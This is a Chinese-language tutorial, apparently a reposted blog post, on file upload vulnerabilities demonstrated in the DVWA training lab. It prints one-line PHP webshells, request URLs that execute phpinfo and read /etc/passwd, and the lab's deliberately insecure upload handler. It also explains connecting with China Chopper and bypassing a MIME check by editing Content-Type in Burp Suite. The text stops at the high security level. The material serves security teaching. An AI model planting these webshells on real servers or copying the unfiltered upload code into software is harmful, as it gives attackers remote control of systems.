欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

文件上传漏洞

程序员文章站 2023-11-18 19:14:22
前言 前言 文件上传漏洞就是在web前端对用户上传的文件没有做过滤,攻击者利用此漏洞上传webshell,因此可以远程操控服务器。 webshell webshell 小马:一句话木马也称为小马,即整个shell代码只有一行,一般是系统执行函数大马:代码量和功能比小马多,一般都会进行二次编码加密,防 ......
  • 前言

文件上传漏洞就是在web前端对用户上传的文件没有做过滤,攻击者利用此漏洞上传webshell,因此可以远程操控服务器。

  • webshell

小马:一句话木马也称为小马,即整个shell代码只有一行,一般是系统执行函数
大马:代码量和功能比小马多,一般都会进行二次编码加密,防止被安全防火墙/入侵系统检测到

1  #eval 使用php函数,例如phpinfo();
2    <?php eval($_request['cmd']);?>
3   http://192.168.152.147/dvwa/hackable/uploads/webshell2.php?cmd=phpinfo();
1 #system 使用linux系统命令,例如ls,cp,rm
2 <?php system($_request['cmd']);?>
3   http://192.168.152.147/dvwa/hackable/uploads/webshell3.php?cmd=cat /etc/passwd
  • 中国菜刀

说明request是在网页端输入变量访问,post则是使用中国菜刀之类的工具连接,是c/s架构

1 <?php @eval($_post['cmd']);?>
  • 环境部署

本实例使用dvwa作为靶场,owasp官网已经将该环境打包成ova文件,直接下载安装即可。

part 1。将dvwa安全级别设置为low。该级别对于上传的文件没有做限制,可以上传任意的文件。

1  <?php     if (isset($_post['upload'])) {              $target_path = dvwa_web_page_to_root."hackable/uploads/";             $target_path = $target_path . basename($_files['uploaded']['name']);             $uploaded_name = $_files['uploaded']['name'];             $uploaded_type = $_files['uploaded']['type'];             $uploaded_size = $_files['uploaded']['size'];              if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){                   if(!move_uploaded_file($_files['uploaded']['tmp_name'], $target_path)) {                                      echo '<pre>';                     echo 'your image was not uploaded.';                     echo '</pre>';                                        } else {                                      echo '<pre>';                     echo $target_path . ' succesfully uploaded!';                     echo '</pre>';                                          }             }             else{                 echo '<pre>your image was not uploaded.</pre>';             }         } ?> 

1、访问,选择【upload】,上传一句话木马。上传成功后提示文件上传成功并显示文件路径

1 <?php @eval($_post['caidao']);?>

文件上传漏洞

 

 2、使用中国菜刀连接,如下图所示,输入一句话木马中的密码’caidao’

文件上传漏洞

 

 右键选择文件管理,即可进入网站文件管理后台。

文件上传漏洞

 

 

part 2。将安全级别设置成medium。该级别对于上传的文件做了mime(多用途互联网邮件扩展)限制,只能上传在content-type为image/jpeg类型文件。当上传php脚本文件时,浏览器将拒绝上传此文件到后台服务器,因此需要使用burpsuite来绕过此限制。

查看文件源码。

 1  <?php
 2     if (isset($_post['upload'])) {
 3 
 4             $target_path = dvwa_web_page_to_root."hackable/uploads/";
 5             $target_path = $target_path . basename($_files['uploaded']['name']);
 6             $uploaded_name = $_files['uploaded']['name'];
 7             $uploaded_type = $_files['uploaded']['type'];
 8             $uploaded_size = $_files['uploaded']['size'];
 9 
10             if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
11 
12 
13                 if(!move_uploaded_file($_files['uploaded']['tmp_name'], $target_path)) {
14                 
15                     echo '<pre>';
16                     echo 'your image was not uploaded.';
17                     echo '</pre>';
18                     
19                   } else {
20                 
21                     echo '<pre>';
22                     echo $target_path . ' succesfully uploaded!';
23                     echo '</pre>';
24                     
25                     }
26             }
27             else{
28                 echo '<pre>your image was not uploaded.</pre>';
29             }
30         }
31 ?> 

此处省去burpsuite的基本设置。上传文件前使用burp拦截数据包,此content-type改为image/jpeg,可以绕过此限制,将php文件上传到后台服务器,如图所示

文件上传漏洞

 

 part3,将安全级别设置为high,此级别将会对上传的文件后缀名进行检验。